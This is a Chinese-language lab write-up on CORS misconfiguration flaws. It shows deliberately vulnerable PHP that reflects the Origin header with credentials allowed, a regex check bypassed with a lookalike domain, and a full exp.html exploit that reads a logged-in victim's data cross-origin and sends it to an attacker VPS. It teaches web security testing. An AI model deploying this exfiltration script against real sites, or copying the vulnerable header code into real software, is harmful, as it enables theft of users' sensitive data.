CORS配置错误那些事
CORS配置错误那些事
这里记录一下我学习CORS配置错误漏洞的实验过程。
CORS介绍:
跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
上面这一段是我网上摘下来的介绍,我个人的浅显理解是:为了解决需要获取不同域的资源,但是受限于同源策略无法跨域获取资源的情况下,可以通过在被获取资源的响应头中设置CORS相关字段来达成目的。
CORS关键HTTP头字段
如下这几个字段,如果配置不当就容易产生安全问题:
Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。
漏洞场景
场景A
假设站点a.com的index.php在登录之后可以获取到敏感信息,代码如下:
// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
}
var_dump($_SERVER);
session_start();
if(@$_SESSION['user'] == 'admin'){
$info = array('user'=>'admin', 'pass'=>'123123');
echo json_encode($info);
}else{
echo 'Login fail, <a href=login.php>login</a>';
}
// login.php
<?php
session_start();
$_SESSION['user'] = 'admin';
header('Location: index.php');
这是我在实践中遇到过的,Access-Control-Allow-Origin的值为请求包中的Origin。这个问题就大了,我们使用任意的域都可以访问这个站的资源。我们来实际模拟一下。
我们先访问http://a.com/index.php,并且点击login登录获取登录凭证。
我们构造如下exp
<!-- exp.html -->
<html>
<head>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
// alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
if(this.responseText != ""){
var url = "http://vps的ip/1.php?data=" + escape(this.responseText);
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", url, true);
xhttp2.send();
}
}
};
xhttp.open("GET", "http://a.com/index.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>
然后在vps上监听自己设置的端口,比如我设置的是http://x.x.x.x:4040
此时,我们前面已经获取到a.com上的登录凭证,可以直接获取到敏感信息。然后我们再访问http://b.com/exp.html,看看效果。
我们可以看到下图,已经获取到敏感信息了。我们再看看vps上有没有拿到敏感信息。
我们可以看到GET请求参数data已经把敏感数据发送过来了。
我们再来看看请求包的详细情况
我们可以看到 a.com/index.php 获取到了origin,把他放进Access-Control-Allow-Origin里,我们成功的跨域获取到了敏感信息。然后看后面的数据包,把获取到的敏感信息发送到我们的vps上。
场景B
我们根据场景A的代码稍微变动一下,只需要修改index.php:
// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
if(preg_match('/.*(a\.com)/i', $_SERVER['HTTP_ORIGIN'])){
header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
header('Access-Control-Allow-Credentials: true');
}
}
session_start();
if(@$_SESSION['user'] == 'admin'){
$info = array('user'=>'admin', 'pass'=>'123123');
echo json_encode($info);
}else{
echo 'Login fail, <a href=login.php>login</a>';
}
这里我们可以看到index.php开头判断了Origin为*a.com时,取$_SERVER['HTTP_ORIGIN']作为Access-Control-Allow-Origin的值。但是这样的防护并不严谨,我们只需要注册一个aa.com的域名,就可以绕过这层限制。
我们来实验一下,将exp.html放到aa.com里。然后访问http://a.com/index.php并获取cookie,然后访问http://aa.com/exp.html。
我们通过上图,可以看到成功的获取到了敏感信息。
如果觉得这个方式成本过高,还可以通过另外一个方式。就是在a.com或a.com的子域名里挖掘xss,然后将exp.html里的js放入xss payload位置,同样可以获取到敏感信息。
注意事项
- 这里可能有些人会问,如果遇到Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true是不是就可以无视同源策略,任意获取资源了。但是事实并非如此,因为CORS协议为了防止开发者开发时错误配置了CORS,规定了Allow-Credentials为ture时,Allow-Origin必须为特定的域名,而不能是*。
- 上面的所有测试代码只是为了模拟真实情况下的效果,真实环境下的代码可能并不是这样写的,只是效果是相似的。
参考文献
感谢这些文章的师傅讲解,让我能顺利学习这个知识点。
浅析CORS攻击及其挖洞思路
三种对CORS错误配置的利用方法
CORS(跨域资源共享)错误配置漏洞的高级利用